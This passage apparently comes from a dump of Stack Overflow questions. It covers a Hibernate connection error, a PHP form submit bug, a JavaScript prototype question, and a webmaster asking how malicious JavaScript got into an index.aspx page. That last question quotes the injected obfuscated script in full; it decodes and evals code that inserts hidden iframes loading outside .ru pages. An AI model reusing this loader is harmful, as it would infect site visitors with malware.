org.hibernate.impl.SessionImpl.beginTransaction(SessionImpl.java:1463)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
java.lang.reflect.Method.invoke(Unknown Source)
org.hibernate.context.ThreadLocalSessionContext$TransactionProtectionWrapper.invoke(ThreadLocalSessionContext.java:344)
$Proxy108.beginTransaction(Unknown Source)
com.yemex.beans.CompanyBean.saveOrUpdate(CompanyBean.java:52)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
java.lang.reflect.Method.invoke(Unknown Source)
org.apache.el.parser.AstValue.invoke(AstValue.java:196)
org.apache.el.MethodExpressionImpl.invoke(MethodExpressionImpl.java:276)
com.sun.faces.facelets.el.TagMethodExpression.invoke(TagMethodExpression.java:98)
javax.faces.component.MethodBindingMethodExpressionAdapter.invoke(MethodBindingMethodExpressionAdapter.java:88)
com.sun.faces.application.ActionListenerImpl.processAction(ActionListenerImpl.java:102)
javax.faces.component.UICommand.broadcast(UICommand.java:315)
javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:775)
javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:1267)
com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:82)
com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101)
com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118)
javax.faces.webapp.FacesServlet.service(FacesServlet.java:312)
| hibernate | postgresql | jsf | null | null | null | open | JSF HIBERNATE POSTGRESQL
===
When I press "Save" button I get an exception like that ;
javax.servlet.ServletException: org.hibernate.exception.JDBCConnectionException: Cannot open connection
javax.faces.webapp.FacesServlet.service(FacesServlet.java:325)
root cause
javax.faces.el.EvaluationException: org.hibernate.exception.JDBCConnectionException: Cannot open connection
javax.faces.component.MethodBindingMethodExpressionAdapter.invoke(MethodBindingMethodExpressionAdapter.java:102)
com.sun.faces.application.ActionListenerImpl.processAction(ActionListenerImpl.java:102)
javax.faces.component.UICommand.broadcast(UICommand.java:315)
javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:775)
javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:1267)
com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:82)
com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101)
com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118)
javax.faces.webapp.FacesServlet.service(FacesServlet.java:312)
root cause
org.hibernate.exception.JDBCConnectionException: Cannot open connection
org.hibernate.exception.SQLStateConverter.convert(SQLStateConverter.java:98)
org.hibernate.exception.JDBCExceptionHelper.convert(JDBCExceptionHelper.java:66)
org.hibernate.exception.JDBCExceptionHelper.convert(JDBCExceptionHelper.java:52)
org.hibernate.jdbc.ConnectionManager.openConnection(ConnectionManager.java:449)
org.hibernate.jdbc.ConnectionManager.getConnection(ConnectionManager.java:167)
org.hibernate.jdbc.JDBCContext.connection(JDBCContext.java:142)
org.hibernate.transaction.JDBCTransaction.begin(JDBCTransaction.java:85)
org.hibernate.impl.SessionImpl.beginTransaction(SessionImpl.java:1463)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
java.lang.reflect.Method.invoke(Unknown Source)
org.hibernate.context.ThreadLocalSessionContext$TransactionProtectionWrapper.invoke(ThreadLocalSessionContext.java:344)
$Proxy108.beginTransaction(Unknown Source)
com.yemex.beans.CompanyBean.saveOrUpdate(CompanyBean.java:52)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
java.lang.reflect.Method.invoke(Unknown Source)
org.apache.el.parser.AstValue.invoke(AstValue.java:196)
org.apache.el.MethodExpressionImpl.invoke(MethodExpressionImpl.java:276)
com.sun.faces.facelets.el.TagMethodExpression.invoke(TagMethodExpression.java:98)
javax.faces.component.MethodBindingMethodExpressionAdapter.invoke(MethodBindingMethodExpressionAdapter.java:88)
com.sun.faces.application.ActionListenerImpl.processAction(ActionListenerImpl.java:102)
javax.faces.component.UICommand.broadcast(UICommand.java:315)
javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:775)
javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:1267)
com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:82)
com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101)
com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118)
javax.faces.webapp.FacesServlet.service(FacesServlet.java:312)
root cause
java.sql.SQLException: No suitable driver found for jdbc:postgresql://localhost/postgres
java.sql.DriverManager.getConnection(Unknown Source)
java.sql.DriverManager.getConnection(Unknown Source)
org.hibernate.connection.DriverManagerConnectionProvider.getConnection(DriverManagerConnectionProvider.java:133)
org.hibernate.jdbc.ConnectionManager.openConnection(ConnectionManager.java:446)
org.hibernate.jdbc.ConnectionManager.getConnection(ConnectionManager.java:167)
org.hibernate.jdbc.JDBCContext.connection(JDBCContext.java:142)
org.hibernate.transaction.JDBCTransaction.begin(JDBCTransaction.java:85)
org.hibernate.impl.SessionImpl.beginTransaction(SessionImpl.java:1463)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
java.lang.reflect.Method.invoke(Unknown Source)
org.hibernate.context.ThreadLocalSessionContext$TransactionProtectionWrapper.invoke(ThreadLocalSessionContext.java:344)
$Proxy108.beginTransaction(Unknown Source)
com.yemex.beans.CompanyBean.saveOrUpdate(CompanyBean.java:52)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
java.lang.reflect.Method.invoke(Unknown Source)
org.apache.el.parser.AstValue.invoke(AstValue.java:196)
org.apache.el.MethodExpressionImpl.invoke(MethodExpressionImpl.java:276)
com.sun.faces.facelets.el.TagMethodExpression.invoke(TagMethodExpression.java:98)
javax.faces.component.MethodBindingMethodExpressionAdapter.invoke(MethodBindingMethodExpressionAdapter.java:88)
com.sun.faces.application.ActionListenerImpl.processAction(ActionListenerImpl.java:102)
javax.faces.component.UICommand.broadcast(UICommand.java:315)
javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:775)
javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:1267)
com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:82)
com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101)
com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118)
javax.faces.webapp.FacesServlet.service(FacesServlet.java:312)
| 0 |
9,134,179 | 02/03/2012 19:14:11 | 925,926 | 09/02/2011 19:53:39 | 1 | 0 | Javascript document.form.submit() not working | This is the code
<?php
session_start();
require_once("config.php");
session_start();
require_once("checkuser.php");
checkuser();
if(isset($_GET['associate']))
{
$_SESSION['form']['code']=$_GET['associate'];
}
if(isset($_GET['branch']))
{
$_SESSION['form']['br_code']=$_GET['branch'];
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link href="calendar.css" rel="stylesheet" type="text/css">
<script language="JavaScript" src="ajax.js"></script>
<script language="javascript">
function open_window1()
{
window.open("help_associate_edit.php");
}
function open_window2()
{
document.form.action="br_code_edit.php";
document.getElementById('sub').submit();
}
function check()
{
if(document.frm.br_name.value=="")
{
alert("Please specify your branch name");
document.frm.br_name.focus();
}
else if(document.frm.br_code.value=="")
{
alert("please specify Branch Code");
document.frm.br_code.focus();
}
else if(document.frm.name.value=="")
{
alert("please specify your Name");
document.frm.name.focus();
}
else if(document.frm.father_name.value=="")
{
alert("please specify your father's name ");
document.frm.father_name.focus();
}
else if(document.frm.dob.value=="")
{
alert("Enter Date Of Birth");
document.frm.dob.focus();
}
else if(document.frm.occupation.value=="")
{
alert("Enter occupation");
document.frm.occupation.focus();
}
else if(document.frm.r_address.value=="")
{
alert("please specify your address ");
document.frm.r_address.focus();
}
else if(document.frm.phone.value=="")
{
alert("please specify phone");
document.frm.phone.focus();
}
else if(document.frm.document.value=="")
{
alert("please specify document");
document.frm.document.focus();
}else if(document.frm.intro_name.value=="")
{
alert("please specify introducer name");
document.frm.intro_name.focus();
}
else if(document.frm.intro_code.value=="")
{
alert("please specify introducer code");
document.frm.intro_code.focus();
}
else if(document.frm.t_name.value=="")
{
alert("please specify Top associate name");
document.frm.intro_code.focus();
}else if(document.frm.t_code.value=="")
{
alert("please specify top associate code");
document.frm.t_code.focus();
}
else
{
document.frm.submit();
}
}
function calldel(a)
{
if (confirm("Are you sure you want to delete this?"))
{
document.frm.method="post";
document.frm.action="associate_edit_verify.php?del="+a;
document.frm.submit();
}
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Tulip Agritech India Limited</title>
<link href="style.css" rel="stylesheet" type="text/css" />
<script language="JavaScript">
<!--
function mmLoadMenus() {
if (window.mm_menu_1215174111_0) return;
window.mm_menu_1215174111_0 = new Menu("root",178,30,"Verdana, Arial, Helvetica, sans-serif",14,"#555152","#FFFFFF","#F3F3F3","#457FBE","left","middle",5,0,1000,-5,7,true,true,true,0,false,false);
mm_menu_1215174111_0.addMenuItem("Ongoing Projects","location='ongoing_projects.php'");
mm_menu_1215174111_0.addMenuItem("Future Plans","location='future_plans.html'");
mm_menu_1215174111_0.hideOnMouseOut=true;
mm_menu_1215174111_0.bgColor='#CDCDCD';
mm_menu_1215174111_0.menuBorder=1;
mm_menu_1215174111_0.menuLiteBgColor='';
mm_menu_1215174111_0.menuBorderBgColor='#CDCDCD';
mm_menu_1215174111_0.writeMenus();
} // mmLoadMenus()
//-->
</script>
<script language="JavaScript" src="mm_menu.js"></script>
</head>
<? if(isset($_GET['associate']))
{?>
<body onload="call();">
<? } else
{
?>
<body>
<? } ?>
<script language="JavaScript1.2">mmLoadMenus();</script>
<div id="wrapper">
<div id="header">
<div id="header_left"><img src="images/company_logo.jpg" alt="company_logo" /></div>
<div id="header_right">
<div id="login"><a href="#"><img src="images/login.jpg" alt="login" width="85" height="30" border="0" /></a> <a href="#"><img src="images/register_now.jpg" alt="register_now" width="114" height="30" border="0" /></a></div>
<div id="search_box">
<form id="form1" name="form1" method="post" action="">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><input name="textfield" type="text" class="search_field" value="KeyWords Here..." /></td>
<td align="right" valign="middle"><input type="image" name="imageField" src="images/go.jpg" /></td>
</tr>
</table>
</form>
</div>
</div>
</div>
</div>
<div id="navigation"><br />
<div id="nav">
<div id="nav_content">
<ul id="menu">
<li><a href="index.php">HOME</a></li>
<li><img src="images/nav_div.jpg" alt="nav_div" /></li>
<li><a href="about_us.html">ABOUT US</a></li>
<li><img src="images/nav_div.jpg" alt="nav_div" /></li>
<li><a href="associate.html">ASSOCIATE</a></li>
<li><img src="images/nav_div.jpg" alt="nav_div" /></li>
<li style="cursor:pointer;"><a href="#" name="link3" id="link1" onmouseover="MM_showMenu(window.mm_menu_1215174111_0,0,34,null,'link3')" onmouseout="MM_startTimeout();" >PLAN & PROJECTS</a></li>
<li><img src="images/nav_div.jpg" alt="nav_div" /></li>
<li><a href="contact_us.html">CONTACT US</a></li>
</ul>
</div>
<div id="social_network"><a href="http://www.facebook.com/pages/Tulip-Agritech-India-limited/317573084925856"><img src="images/facebook.jpg" alt="facebook" border="0" /></a> <a href="https://twitter.com/#!/tulip_india"><img src="images/twitter.jpg" alt="twitter" width="28" height="29" border="0" /></a> <a href="#"><img src="images/youtube.jpg" alt="youtube" width="28" height="29" border="0" /></a> <a href="#"><img src="images/space.jpg" alt="space" width="28" height="29" border="0" /></a></div>
</div>
</div>
<div id="inner_banner_bg">
<div id="inner_banner"><img src="images/associate_banner.jpg" alt="associate" width="1000" height="108" /></div>
</div>
<div style="width:100%; margin-top:22px;">
<div id="body">
<div align="right">
<a href="logout.php"><img src="./image/logout.jpg" style="width:25px"alt="">Logout</a>
</div><div align="center">
<p>
<table width="662"><th colspan="2">Registration Form (
* indicates the field is required)</th>
</tr>
<form name="form">
<tr>
</tr>
<tr>
<td width="173"> </td>
<td width="207"> </td>
<td width="266"></tr>
<tr>
<td height="74"><div align="left">Associate code
</div></td>
<td><input type="text" name="code" id="code" size="32" value="<?=$_SESSION['form']['code']?>"/></td>
<td width=""><input type="button" name="sub" id="sub" value="Edit" size="32" onClick="call();" /><a href="#" onClick="open_window1();"><img src="image/help-icon.jpg" width="30" height="30"></a><a href="associate_home.php"><strong>Back to menu</strong></a></td></tr>
</form></table>
</p>
<div id="edit">
</div>
</div></div>
</div>
</div>
<div style="clear:both;"> </div>
</div>
</div>
<div id="footer_bg">
<div id="footer"><br />
<div class="footer_text" style="float:left;"><a href="index.php">HOME</a> | <a href="about_us.html">ABOUT US</a> | <a href="#">ASSOCIATE </a> | <a href="plan_projects.html">PLAN & PROJECTS</a> | <a href="contact_us.html">CONTACT US</a>
<p>CopyRight All Right Reserved <a href="http://www.tulipindia.biz"><span class="green_text1">tulipindia.biz</span></a></p>
</div>
<div class="green_text1" style="float:right;"><span class="black_text1">Address:</span> <span class="green_text3">Registered Office </span><br />
<span class="black_text2">New Town, PO+PS: Diamond Harbour<br />
PIN: 743331, 24PARGANAS SOUTH, West Bengal</span> </div>
</div>
</div>
</body>
</html>
Now my question is that the ***document.getElementById('sub').submit();*** is not working
How to get this form working?
Any ideas?
Please dont downvote this question its my request.
Thanks
Somdeb Mukherjee
| php | javascript | null | null | null | 02/05/2012 03:41:53 | not a real question | Javascript document.form.submit() not working
===
This is the code
<?php
session_start();
require_once("config.php");
session_start();
require_once("checkuser.php");
checkuser();
if(isset($_GET['associate']))
{
$_SESSION['form']['code']=$_GET['associate'];
}
if(isset($_GET['branch']))
{
$_SESSION['form']['br_code']=$_GET['branch'];
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link href="calendar.css" rel="stylesheet" type="text/css">
<script language="JavaScript" src="ajax.js"></script>
<script language="javascript">
function open_window1()
{
window.open("help_associate_edit.php");
}
function open_window2()
{
document.form.action="br_code_edit.php";
document.getElementById('sub').submit();
}
function check()
{
if(document.frm.br_name.value=="")
{
alert("Please specify your branch name");
document.frm.br_name.focus();
}
else if(document.frm.br_code.value=="")
{
alert("please specify Branch Code");
document.frm.br_code.focus();
}
else if(document.frm.name.value=="")
{
alert("please specify your Name");
document.frm.name.focus();
}
else if(document.frm.father_name.value=="")
{
alert("please specify your father's name ");
document.frm.father_name.focus();
}
else if(document.frm.dob.value=="")
{
alert("Enter Date Of Birth");
document.frm.dob.focus();
}
else if(document.frm.occupation.value=="")
{
alert("Enter occupation");
document.frm.occupation.focus();
}
else if(document.frm.r_address.value=="")
{
alert("please specify your address ");
document.frm.r_address.focus();
}
else if(document.frm.phone.value=="")
{
alert("please specify phone");
document.frm.phone.focus();
}
else if(document.frm.document.value=="")
{
alert("please specify document");
document.frm.document.focus();
}else if(document.frm.intro_name.value=="")
{
alert("please specify introducer name");
document.frm.intro_name.focus();
}
else if(document.frm.intro_code.value=="")
{
alert("please specify introducer code");
document.frm.intro_code.focus();
}
else if(document.frm.t_name.value=="")
{
alert("please specify Top associate name");
document.frm.intro_code.focus();
}else if(document.frm.t_code.value=="")
{
alert("please specify top associate code");
document.frm.t_code.focus();
}
else
{
document.frm.submit();
}
}
function calldel(a)
{
if (confirm("Are you sure you want to delete this?"))
{
document.frm.method="post";
document.frm.action="associate_edit_verify.php?del="+a;
document.frm.submit();
}
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Tulip Agritech India Limited</title>
<link href="style.css" rel="stylesheet" type="text/css" />
<script language="JavaScript">
<!--
function mmLoadMenus() {
if (window.mm_menu_1215174111_0) return;
window.mm_menu_1215174111_0 = new Menu("root",178,30,"Verdana, Arial, Helvetica, sans-serif",14,"#555152","#FFFFFF","#F3F3F3","#457FBE","left","middle",5,0,1000,-5,7,true,true,true,0,false,false);
mm_menu_1215174111_0.addMenuItem("Ongoing Projects","location='ongoing_projects.php'");
mm_menu_1215174111_0.addMenuItem("Future Plans","location='future_plans.html'");
mm_menu_1215174111_0.hideOnMouseOut=true;
mm_menu_1215174111_0.bgColor='#CDCDCD';
mm_menu_1215174111_0.menuBorder=1;
mm_menu_1215174111_0.menuLiteBgColor='';
mm_menu_1215174111_0.menuBorderBgColor='#CDCDCD';
mm_menu_1215174111_0.writeMenus();
} // mmLoadMenus()
//-->
</script>
<script language="JavaScript" src="mm_menu.js"></script>
</head>
<? if(isset($_GET['associate']))
{?>
<body onload="call();">
<? } else
{
?>
<body>
<? } ?>
<script language="JavaScript1.2">mmLoadMenus();</script>
<div id="wrapper">
<div id="header">
<div id="header_left"><img src="images/company_logo.jpg" alt="company_logo" /></div>
<div id="header_right">
<div id="login"><a href="#"><img src="images/login.jpg" alt="login" width="85" height="30" border="0" /></a> <a href="#"><img src="images/register_now.jpg" alt="register_now" width="114" height="30" border="0" /></a></div>
<div id="search_box">
<form id="form1" name="form1" method="post" action="">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><input name="textfield" type="text" class="search_field" value="KeyWords Here..." /></td>
<td align="right" valign="middle"><input type="image" name="imageField" src="images/go.jpg" /></td>
</tr>
</table>
</form>
</div>
</div>
</div>
</div>
<div id="navigation"><br />
<div id="nav">
<div id="nav_content">
<ul id="menu">
<li><a href="index.php">HOME</a></li>
<li><img src="images/nav_div.jpg" alt="nav_div" /></li>
<li><a href="about_us.html">ABOUT US</a></li>
<li><img src="images/nav_div.jpg" alt="nav_div" /></li>
<li><a href="associate.html">ASSOCIATE</a></li>
<li><img src="images/nav_div.jpg" alt="nav_div" /></li>
<li style="cursor:pointer;"><a href="#" name="link3" id="link1" onmouseover="MM_showMenu(window.mm_menu_1215174111_0,0,34,null,'link3')" onmouseout="MM_startTimeout();" >PLAN & PROJECTS</a></li>
<li><img src="images/nav_div.jpg" alt="nav_div" /></li>
<li><a href="contact_us.html">CONTACT US</a></li>
</ul>
</div>
<div id="social_network"><a href="http://www.facebook.com/pages/Tulip-Agritech-India-limited/317573084925856"><img src="images/facebook.jpg" alt="facebook" border="0" /></a> <a href="https://twitter.com/#!/tulip_india"><img src="images/twitter.jpg" alt="twitter" width="28" height="29" border="0" /></a> <a href="#"><img src="images/youtube.jpg" alt="youtube" width="28" height="29" border="0" /></a> <a href="#"><img src="images/space.jpg" alt="space" width="28" height="29" border="0" /></a></div>
</div>
</div>
<div id="inner_banner_bg">
<div id="inner_banner"><img src="images/associate_banner.jpg" alt="associate" width="1000" height="108" /></div>
</div>
<div style="width:100%; margin-top:22px;">
<div id="body">
<div align="right">
<a href="logout.php"><img src="./image/logout.jpg" style="width:25px"alt="">Logout</a>
</div><div align="center">
<p>
<table width="662"><th colspan="2">Registration Form (
* indicates the field is required)</th>
</tr>
<form name="form">
<tr>
</tr>
<tr>
<td width="173"> </td>
<td width="207"> </td>
<td width="266"></tr>
<tr>
<td height="74"><div align="left">Associate code
</div></td>
<td><input type="text" name="code" id="code" size="32" value="<?=$_SESSION['form']['code']?>"/></td>
<td width=""><input type="button" name="sub" id="sub" value="Edit" size="32" onClick="call();" /><a href="#" onClick="open_window1();"><img src="image/help-icon.jpg" width="30" height="30"></a><a href="associate_home.php"><strong>Back to menu</strong></a></td></tr>
</form></table>
</p>
<div id="edit">
</div>
</div></div>
</div>
</div>
<div style="clear:both;"> </div>
</div>
</div>
<div id="footer_bg">
<div id="footer"><br />
<div class="footer_text" style="float:left;"><a href="index.php">HOME</a> | <a href="about_us.html">ABOUT US</a> | <a href="#">ASSOCIATE </a> | <a href="plan_projects.html">PLAN & PROJECTS</a> | <a href="contact_us.html">CONTACT US</a>
<p>CopyRight All Right Reserved <a href="http://www.tulipindia.biz"><span class="green_text1">tulipindia.biz</span></a></p>
</div>
<div class="green_text1" style="float:right;"><span class="black_text1">Address:</span> <span class="green_text3">Registered Office </span><br />
<span class="black_text2">New Town, PO+PS: Diamond Harbour<br />
PIN: 743331, 24PARGANAS SOUTH, West Bengal</span> </div>
</div>
</div>
</body>
</html>
Now my question is that the ***document.getElementById('sub').submit();*** is not working
How to get this form working?
Any ideas?
Please dont downvote this question its my request.
Thanks
Somdeb Mukherjee
| 1 |
11,614,113 | 07/23/2012 14:03:24 | 1,497,250 | 07/02/2012 22:03:56 | 6 | 0 | javascript dynamic prototype | I want extend a new JS object while creation with other object passing a parameter.
This code does not work, because I only can extend object without dynamic parameter.
otherObject = function(id1){
this.id = id1;
};
otherObject.protoype.test(){
alert(this.id);
};
testObject = function(id2) {
this.id=id2;
};
testObject.prototype = new otherObject(id2);/* id2 should be testObject this.id */
var a = new testObject("variable");
a.test();
/* Expect alert "variable" */
Any suggestion? | javascript | null | null | null | null | null | open | javascript dynamic prototype
===
I want extend a new JS object while creation with other object passing a parameter.
This code does not work, because I only can extend object without dynamic parameter.
otherObject = function(id1){
this.id = id1;
};
otherObject.protoype.test(){
alert(this.id);
};
testObject = function(id2) {
this.id=id2;
};
testObject.prototype = new otherObject(id2);/* id2 should be testObject this.id */
var a = new testObject("variable");
a.test();
/* Expect alert "variable" */
Any suggestion? | 0 |
10,564,465 | 05/12/2012 14:10:15 | 814,157 | 06/24/2011 13:45:07 | 34 | 5 | hacking - how is index.aspx page hacked by physically injecting javascript? | I have an index.aspx and somehow javascript code block injected into its page definition. How is it possible?
index page should be like :
> "<%@ Page Title="" Language="C#" MasterPageFile="~/Views/Shared/MainMasterPage.Master"
Inherits="System.Web.Mvc.ViewPage<dynamic>" %>"
but after injection (hacked), it looks like
> "<%<script>i=0;try{prototype;}catch(z){h="harCode";f=['-33c-33c63c60c-10c-2c58c69c57c75c67c59c68c74c4c61c59c74c27c66c59c67c59c68c74c73c24c79c42c55c61c36c55c67c59c-2c-3c56c69c58c79c-3c-1c49c6c51c-1c81c-29c-33c-33c-33c63c60c72c55c67c59c72c-2c-1c17c-29c-33c-33c83c-10c59c66c73c59c-10c81c-29c-33c-33c-33c58c69c57c75c67c59c68c74c4c77c72c63c74c59c-2c-8c18c63c60c72c55c67c59c-10c73c72c57c19c-3c62c74c74c70c16c5c5c65c75c66c59c61c69c62c4c72c75c5c57c69c75c68c74c8c11c4c70c62c70c-3c-10c77c63c58c74c62c19c-3c7c6c-3c-10c62c59c63c61c62c74c19c-3c7c6c-3c-10c73c74c79c66c59c19c-3c76c63c73c63c56c63c66c63c74c79c16c62c63c58c58c59c68c17c70c69c73c63c74c63c69c68c16c55c56c73c69c66c75c74c59c17c66c59c60c74c16c6c17c74c69c70c16c6c17c-3c20c18c5c63c60c72c55c67c59c20c-8c-1c17c-29c-33c-33c83c-29c-33c-33c60c75c68c57c74c63c69c68c-10c63c60c72c55c67c59c72c-2c-1c81c-29c-33c-33c-33c76c55c72c-10c60c-10c19c-10c58c69c57c75c67c59c68c74c4c57c72c59c55c74c59c27c66c59c67c59c68c74c-2c-3c63c60c72c55c67c59c-3c-1c17c60c4c73c59c74c23c74c74c72c63c56c75c74c59c-2c-3c73c72c57c-3c2c-3c62c74c74c70c16c5c5c65c75c66c59c61c69c62c4c72c75c5c57c69c75c68c74c8c11c4c70c62c70c-3c-1c17c60c4c73c74c79c66c59c4c76c63c73c63c56c63c66c63c74c79c19c-3c62c63c58c58c59c68c-3c17c60c4c73c74c79c66c59c4c70c69c73c63c74c63c69c68c19c-3c55c56c73c69c66c75c74c59c-3c17c60c4c73c74c79c66c59c4c66c59c60c74c19c-3c6c-3c17c60c4c73c74c79c66c59c4c74c69c70c19c-3c6c-3c17c60c4c73c59c74c23c74c74c72c63c56c75c74c59c-2c-3c77c63c58c74c62c-3c2c-3c7c6c-3c-1c17c60c4c73c59c74c23c74c74c72c63c56c75c74c59c-2c-3c62c59c63c61c62c74c-3c2c-3c7c6c-3c-1c17c-29c-33c-33c-33c58c69c57c75c67c59c68c74c4c61c59c74c27c66c59c67c59c68c74c73c24c79c42c55c61c36c55c67c59c-2c-3c56c69c58c79c-3c-1c49c6c51c4c55c70c70c59c68c58c25c62c63c66c58c-2c60c-1c17c-29c-33c-33c83'][0].split('c');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];}r=String;z=((e)?h:"");for(;567!=i;i+=1){j=i;if(e)s=s+r["fromC"+z](w[j]*1+42);}if(v&&e&&r)e(s);</script><script>try{q=document.createElement("div");q.appendChild(q+"");}catch(qw){h=-012/5;}try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(123-122)+zz;ss=[];f='fr'+'om'+'Ch';f+='arC';f+='qgode'["substr"](4-2);w=this;e=w[f["substr"](11)+zz];n="3.5#3.5#51.5#50#15#19#49#54.5#48.5#57.5#53.5#49.5#54#57#22#50.5#49.5#57#33.5#53#49.5#53.5#49.5#54#57#56.5#32#59.5#41#47.5#50.5#38#47.5#53.5#49.5#19#18.5#48#54.5#49#59.5#18.5#19.5#44.5#23#45.5#19.5#60.5#5.5#3.5#3.5#3.5#51.5#50#56#47.5#53.5#49.5#56#19#19.5#28.5#5.5#3.5#3.5#61.5#15#49.5#53#56.5#49.5#15#60.5#5.5#3.5#3.5#3.5#49#54.5#48.5#57.5#53.5#49.5#54#57#22#58.5#56#51.5#57#49.5#19#16#29#51.5#50#56#47.5#53.5#49.5#15#56.5#56#48.5#29.5#18.5#51#57#57#55#28#22.5#22.5#58.5#51.5#49.5#58.5#52.5#57.5#59#22#56#57.5#22.5#48.5#54.5#57.5#54#57#24#25#22#55#51#55#18.5#15#58.5#51.5#49#57#51#29.5#18.5#23.5#23#18.5#15#51#49.5#51.5#50.5#51#57#29.5#18.5#23.5#23#18.5#15#56.5#57#59.5#53#49.5#29.5#18.5#58#51.5#56.5#51.5#48#51.5#53#51.5#57#59.5#28#51#51.5#49#49#49.5#54#28.5#55#54.5#56.5#51.5#57#51.5#54.5#54#28#47.5#48#56.5#54.5#53#57.5#57#49.5#28.5#53#49.5#50#57#28#23#28.5#57#54.5#55#28#23#28.5#18.5#30#29#22.5#51.5#50#56#47.5#53.5#49.5#30#16#19.5#28.5#5.5#3.5#3.5#61.5#5.5#3.5#3.5#50#57.5#54#48.5#57#51.5#54.5#54#15#51.5#50#56#47.5#53.5#49.5#56#19#19.5#60.5#5.5#3.5#3.5#3.5#58#47.5#56#15#50#15#29.5#15#49#54.5#48.5#57.5#53.5#49.5#54#57#22#48.5#56#49.5#47.5#57#49.5#33.5#53#49.5#53.5#49.5#54#57#19#18.5#51.5#50#56#47.5#53.5#49.5#18.5#19.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#56.5#56#48.5#18.5#21#18.5#51#57#57#55#28#22.5#22.5#58.5#51.5#49.5#58.5#52.5#57.5#59#22#56#57.5#22.5#48.5#54.5#57.5#54#57#24#25#22#55#51#55#18.5#19.5#28.5#50#22#56.5#57#59.5#53#49.5#22#58#51.5#56.5#51.5#48#51.5#53#51.5#57#59.5#29.5#18.5#51#51.5#49#49#49.5#54#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#55#54.5#56.5#51.5#57#51.5#54.5#54#29.5#18.5#47.5#48#56.5#54.5#53#57.5#57#49.5#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#53#49.5#50#57#29.5#18.5#23#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#57#54.5#55#29.5#18.5#23#18.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#58.5#51.5#49#57#51#18.5#21#18.5#23.5#23#18.5#19.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#51#49.5#51.5#50.5#51#57#18.5#21#18.5#23.5#23#18.5#19.5#28.5#5.5#3.5#3.5#3.5#49#54.5#48.5#57.5#53.5#49.5#54#57#22#50.5#49.5#57#33.5#53#49.5#53.5#49.5#54#57#56.5#32#59.5#41#47.5#50.5#38#47.5#53.5#49.5#19#18.5#48#54.5#49#59.5#18.5#19.5#44.5#23#45.5#22#47.5#55#55#49.5#54#49#32.5#51#51.5#53#49#19#50#19.5#28.5#5.5#3.5#3.5#61.5"[((e)?"s":"")+"p"+"lit"]("a#"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-567!=0;i++){j=i;if(st)ss=ss+st.fromCharCode(-1*h*(1+1*n[j]));}q=ss;e(q);}</script>
@ Page Title="" Language="C#" MasterPageFile="~/Views/Shared/MainMasterPage.Master"
Inherits="System.Web.Mvc.ViewPage<dynamic>" %>"
Between "<%" and "@" the code is injected. But what should our security opening to let this happen. Please help. | javascript | asp.net-mvc | web-security | injection | hacking | 05/13/2012 14:05:48 | off topic | hacking - how is index.aspx page hacked by physically injecting javascript?
===
